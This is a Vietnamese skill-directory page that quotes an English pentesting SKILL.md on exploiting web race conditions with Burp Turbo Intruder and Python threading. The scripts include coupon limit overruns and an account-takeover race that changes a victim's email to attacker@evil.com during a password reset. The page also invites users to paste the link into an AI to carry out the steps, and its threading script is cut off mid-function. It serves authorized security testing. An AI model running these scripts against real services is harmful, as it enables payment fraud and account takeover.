Chuyển đến nội dung
Skillpedia
Bảo mật35k · #7920

exploiting-race-condition-vulnerabilities

Skill này làm gì

Công cụ này giúp tìm và khai thác lỗi bảo mật trên website, nơi các hành động nhanh và đồng thời có thể đánh lừa hệ thống. Nó cho phép gửi nhiều yêu cầu cùng lúc để xem bạn có thể làm một việc nhiều hơn một lần hay không, chẳng hạn dùng một mã giảm giá nhiều lần.

Khi nào nên dùng

  • ✓Khi kiểm thử hệ thống thanh toán hoặc mã giảm giá.
  • ✓Khi một website giới hạn số lần bạn được làm một việc nào đó.
  • ✓Khi kiểm tra các quy trình nhiều bước như đổi email.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Kiểm tra xem tôi có thể dùng mã giảm giá này nhiều hơn một lần bằng cách gửi nhiều yêu cầu cùng lúc không.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ dùng Turbo Intruder để gửi nhiều yêu cầu cùng một lúc. Việc này được làm rất nhanh để cố khai thác khoảng trễ nhỏ giữa lúc kiểm tra và lúc thực hiện trong hệ thống.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Exploiting Race Condition Vulnerabilities

When to Use

  • When testing applications with transaction-based functionality (payments, transfers, coupons)
  • During assessment of rate-limiting or attempt-limiting mechanisms
  • When testing multi-step workflows (registration, password reset, MFA)
  • During bug bounty hunting for logic flaws in state-changing operations
  • When evaluating applications with inventory or balance management systems

Prerequisites

  • Burp Suite Professional with Turbo Intruder extension installed
  • Understanding of HTTP/2 single-packet attack technique
  • Python scripting ability for custom Turbo Intruder scripts
  • Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
  • Target application with state-changing operations (purchases, votes, transfers)
  • Multiple user accounts for testing cross-user race conditions

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Race Condition Attack Surface

# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)

Step 2 — Configure Single-Packet Attack in Turbo Intruder

# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Step 3 — Execute Limit Overrun Attack

# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)

Step 4 — Exploit Multi-Endpoint Race Conditions

# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to attacker@evil.com
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"attacker@evil.com"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"victim@target.com"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Step 5 — Test with Python Threading Alternative

import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Create barrier to synchronize thread start
barrier = threading.Barrier(20)

def synchronized_request():

…
Câu hỏi thường gặp

“Race condition” là gì?

Đó là lỗi trong đó kết quả phụ thuộc vào thứ tự chính xác của các sự kiện. Nếu bạn làm hai việc gần như cùng lúc, có thể đánh lừa được hệ thống.

“Single-Packet Attack” là gì?

Đó là kỹ thuật gửi nhiều yêu cầu trong một gói tin mạng duy nhất. Điều này đảm bảo chúng đến máy chủ gần như chính xác cùng một thời điểm.

Tôi có thể dùng điều này trên mọi website không?

Không, công cụ này chỉ dành cho kiểm thử bảo mật được phép trên hệ thống bạn có quyền kiểm tra. Dùng trên hệ thống không được phép là bất hợp pháp.

Chi tiết

Mô tả gốc của tác giả

Detects and exploits race condition (TOCTOU) vulnerabilities in web applications using Burp Suite's Turbo Intruder extension and its single-packet attack technique to fire parallel requests that bypass rate limits, duplicate transactions, or overrun usage limits. Use when pentesting endpoints with balances, coupon redemption, or rate limiting that concurrent requests might manipulate.

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#7920
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự